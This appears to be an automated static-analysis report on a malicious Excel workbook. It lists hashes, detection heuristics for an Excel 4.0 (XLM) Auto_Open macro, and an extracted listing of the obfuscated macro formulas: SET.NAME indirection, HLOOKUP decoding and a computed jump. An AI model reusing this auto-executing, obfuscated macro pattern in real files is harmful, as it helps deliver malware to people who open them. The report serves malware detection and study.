Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 9ec56cc70541be54…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:45:03 Authoring application: Microsoft Excel First seen: 2020-12-25
MD5: 3cf648ab1f0e858ee98967d0c484c88f SHA-1: c927dc23c5dec814635a4e028e3c15a8a37034b3 SHA-256: 9ec56cc70541be543c642095179400638241100c28ecfed83720d09bbc46fd1d
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6844 bytes
SHA-256: 7129907328fdcb92b3c8574a8ed2b6f7e73692b04aae8df5b2102710e485704a
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     19 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  AOvjOUewVH
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!E162 
' 0018     24 LABEL : Cell Value, String Constant - AYNCvMoOe len=0 
' 0018     25 LABEL : Cell Value, String Constant - boihvsANle len=0 
' 0018     27 LABEL : Cell Value, String Constant - CWpOOVkWXEaz len=0 
' 0018     25 LABEL : Cell Value, String Constant - cxRQcLlaUM len=0 
' 0018     25 LABEL : Cell Value, String Constant - DXqZbNvaFR len=0 
' 0018     22 LABEL : Cell Value, String Constant - GBYwkog len=0 
' 0018     27 LABEL : Cell Value, String Constant - hFROKurSFeqc len=0 
' 0018     21 LABEL : Cell Value, String Constant - KLmuvl len=0 
' 0018     24 LABEL : Cell Value, String Constant - mWjdIOQHB len=0 
' 0018     22 LABEL : Cell Value, String Constant - nbOqXdD len=0 
' 0018     27 LABEL : Cell Value, String Constant - qcKjlZVDeljH len=0 
' 0018     24 LABEL : Cell Value, String Constant - qqVIkZAmo len=0 
' 0018     21 LABEL : Cell Value, String Constant - qwbvdN len=0 
' 0018     23 LABEL : Cell Value, String Constant - tkxwvesP len=0 
' 0018     22 LABEL : Cell Value, String Constant - ugEVTOX len=0 
' 0018     21 LABEL : Cell Value, String Constant - VcILek len=0 
' 0018     20 LABEL : Cell Value, String Constant - yJFsJ len=0 
' 0018     25 LABEL : Cell Value, String Constant - yTULZHrbTp len=0 
' 0018     26 LABEL : Cell Value, String Constant - yUrPgwEhZmf len=0 
' 0018     24 LABEL : Cell Value, String Constant - ZCEcZOYSP len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  AOvjOUewVH,E71,"SET.NAME("VcILek",0+VALUE("0"))",""
'  AOvjOUewVH,E74,"SET.NAME("yUrPgwEhZmf",VcILek)",""
'  AOvjOUewVH,E77,"SET.NAME("nbOqXdD",VcILek)",""
'  AOvjOUewVH,E82,"SET.NAME("hFROKurSFeqc",COUNTA(GBYwkog))",""
'  AOvjOUewVH,E86,"SET.NAME("AYNCvMoOe",COUNTA(qcKjlZVDeljH))",""
'  AOvjOUewVH,E88,[],""
'  AOvjOUewVH,T91,"",-900.00000000000000000000
'  AOvjOUewVH,E92,"SET.NAME("qwbvdN","")",""
'  AOvjOUewVH,T92,"",944.00000000000000000000
'  AOvjOUewVH,T93,"",-214.00000000000000000000
'  AOvjOUewVH,T94,"",931.00000000000000000000
'  AOvjOUewVH,T95,"",-467.00000000000000000000
'  AOvjOUewVH,E96,"yUrPgwEhZmf",""
'  AOvjOUewVH,T96,"",-739.00000000000000000000
'  AOvjOUewVH,E100,"SET.NAME("yTULZHrbTp",HLOOKUP("*",GBYwkog,yUrPgwEhZmf,FALSE))",""
'  AOvjOUewVH,E105,"KLmuvl",""
'  AOvjOUewVH,E109,"SET.NAME("tkxwvesP",VcILek)",""
'  AOvjOUewVH,E114,[],""
'  AOvjOUewVH,E116,"tkxwvesP",""
'  AOvjOUewVH,E120,"boihvsANle",""
'  AOvjOUewVH,E124,"ugEVTOX",""
'  AOvjOUewVH,E127,"CWpOOVkWXEaz",""
'  AOvjOUewVH,E129,"SET.NAME("DXqZbNvaFR",VALUE(HLOOKUP("*",qcKjlZVDeljH,CWpOOVkWXEaz,FALSE)))",""
'  AOvjOUewVH,E133,"yJFsJ",""
'  AOvjOUewVH,E136,"qwbvdN",""
'  AOvjOUewVH,E138,"nbOqXdD",""
'  AOvjOUewVH,E140,NEXT(),""
'  AOvjOUewVH,E144,"cxRQcLlaUM",""
'  AOvjOUewVH,E146,[],""
'  AOvjOUewVH,E150,"mWjdIOQHB",""
'  AOvjOUewVH,E155,NEXT(),""
'  AOvjOUewVH,E158,RETURN(),""
'  AOvjOUewVH,E180,"SET.NAME("ZCEcZOYSP",E71)",""
'  AOvjOUewVH,E182,"GBYwkog",""
'  AOvjOUewVH,E186,"SET.NAME("qcKjlZVDeljH",R66C13)",""
'  AOvjOUewVH,E191,"SET.NAME("mWjdIOQHB",197)",""
'  AOvjOUewVH,E194,"SET.NAME("qqVIkZAmo",5)",""
'  AOvjOUewVH,E196,ZCEcZOYSP(),""
'  AOvjOUewVH,E197,HALT(),""

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